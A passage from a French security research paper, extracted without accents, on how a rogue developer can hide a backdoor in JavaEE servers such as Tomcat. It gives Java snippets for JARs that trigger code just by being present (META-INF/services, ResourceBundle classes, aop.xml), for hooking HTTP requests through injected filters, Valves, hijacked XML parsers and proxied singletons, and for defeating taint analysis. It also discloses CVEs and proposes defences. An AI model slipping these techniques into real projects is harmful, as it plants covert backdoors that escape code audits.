Upload
ngonga
View
227
Download
1
Embed Size (px)
Citation preview
Porte derobee dans les serveurs drsquoapplications
JavaEE
Philippe Pradosmacaron()philippepradosname
Atos Origin
Resume Soixante-dix pour cent des attaques viennent de lrsquointerieur de lrsquoentreprise LrsquoaffaireKerviel en a fait une demonstration flagrante Les projets JavaEEs sont tres presents dans lesentreprises Ils sont generalement developpes par des societes de services ou des prestatairesCela represente beaucoup de monde pouvant potentiellement avoir un comportement indelicatAucun audit nrsquoest effectue pour verifier qursquoun developpeur malveillant ou qui subit des pressionsnrsquoa pas laisse une porte derobee invisible dans le code Nous allons nous placer a la placedrsquoun developpeur Java pour etudier les differentes techniques permettant drsquoajouter une portederobee a une application JavaEE sans que cela ne soit visible par les autres developpeurs duprojet Nous avons developpe une archive Java qui permet par sa simple presence dans unprojet drsquoouvrir toutes les portes du serveur ou drsquoune carte a puce Nous etudierons les risqueset proposerons differentes solutions et outils pour interdire et detecter ce type de code Desevolutions du JDK seront proposees pour renforcer la securite
Introduction
Dans lrsquoentreprise 30 a 40 des effectifs nrsquoen sont pas des employes Cela peutexpliquer que la plupart des attaques informatiques viennent de lrsquointerieur Undeveloppeur malveillant ou pousse a la faute par des pressions psychologiques externes- bien connues des mafias - peut introduire du code permettant drsquoouvrir des portes sur leserveur drsquoapplications Lrsquoaudit de code peut eventuellement reveler un comportementcomme celui-ci
if (contribuableequals(philippe))
impot=(byte)impot
Ce nrsquoest pas evident a identifier car il faut une relecture humaine de tout lecode Avec un peu de chance les autres developpeurs du projet peuvent decouvrir latrappe lors drsquoun deverminage par exemple Comme tout code est bien plus souventlu qursquoecrit la probabilite de decouvrir une trappe nrsquoest pas nulle
Pour vous en convaincre consultez cette presentation evoquant un cas reel httptinyurlcomc269ne
Quelles sont les techniques utilisables par un developpeur Java pour cacher soncode Pour executer un traitement a lrsquoinsu de lrsquoapplication Pour srsquoinjecter dans le
P Prados 387
flux de traitement et ainsi capturer toutes les requetes HTTP A toutes ces questionsnous allons proposer des reponses et des solutions
Cette etude nrsquoa pas vocation a etre exhaustive sur les techniques drsquoattaques Elleen presente certaines tres efficaces et souvent innovantes
Une librairie de demonstrations inedites est proposee permettant de qualifier laprotection des applications contre des portes derobees generiques
Cette etude a produit trois alertes de securite la realisation de deux patchs pourles JDKs et trois outils drsquoanalyse et de durcissement du code Nous terminerons parla presentation des solutions actives et passives pour contrer ce type de menaces
Deux videos de demonstrations sont proposees La premiere est une simpledemonstration de la puissance de la porte derobee la seconde explique ensuitecomment se proteger contre ce type de menaces Elles sont disponibles ainsi que lesoutils ici httpmacarongooglecodecom
Cette etude se limite a Tomcat 6x avec un JDK 16010 et OpenJDK 1600-b12sous Windows et Linux Les vulnerabilites sont certainement efficaces avec drsquoautresserveurs drsquoapplications mais cela nrsquoa pas ete verifie
Cote client la porte derobee proposee a ete testee sur ndash Google Chrome 1015443 Windowsndash Firefox 305 Windows et Linuxndash Internet Explorer 70573013 Windowsndash Opera 963 Windows et Linuxndash Safari 321 Windows
1 Lrsquoobjectif du pirate
Du point de vue du pirate une porte derobee doit ndash resister a un audit du code de lrsquoapplication Sinon chaque developpeur qui
participe au projet peut fortuitement la decouvrir ndash resister aux evolutions futures du code Il ne doit pas y avoir de dependance
directe avec le code existant Une evolution de lrsquoapplication ne doit pas faireechec a la porte derobee
ndash contourner le pare-feu reseau et le pare-feu applicatif (Web Application Firewall ndashWAF) La communication avec la porte derobee doit etre invisible ou difficilementdiscernable drsquoun flux legitime
ndash contourner les outils drsquoanalyse de vulnerabilite dans le byte-code par propaga-tion de teinture sur les variables
De ce cahier des charges nous avons recherche differentes techniques pour atteindretous les objectifs que nous nous sommes fixes
388 Porte derobee dans les serveurs drsquoapplications JavaEE
Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque
Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication
Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs
Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables
La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee
private static String sanitize(String s)
char[] buf=new char[slength ()]
Systemarraycopy(stoCharArray () 0 buf 0 slength ())
return new String(buf)
2 Implementation
Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique
ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents
21 Les pieges
La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR
1 httpsuifstanfordedu~livshitspaperspdfthesispdf
P Prados 389
Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants
Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser
ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations
22 Piege par laquo surcharge raquo
La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication
Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire
Fig 1 Enchaınement de classes
Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire
lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la
copie nrsquoen tient pas compte
390 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM
Cette approche est donc rejetee
23 Piege par laquo parametrage raquo
De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code
Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)
ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt
ndash Ressource ltparamwsddgt
La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet
Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer
Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API
Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite
Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes
1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-
Factory
2 httpjavasuncomj2se13docsguidejarjarhtml
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory
ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory
ndash META-INFservicesorgapacheaxisEngineConfigurationFactory
ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple
pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant
public static class MonSAXParserFactory
extends SAXParserFactory
private final SAXParserFactory next_
Calc next parser
private static SAXParserFactory getNextSAXParser ()
return
public SAXParserFactory ()
next_=protectctrSAXParser ()
Inject code here
public Schema getSchema ()
return next_getSchema ()
La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory
permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch
q=META-INF+providers
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
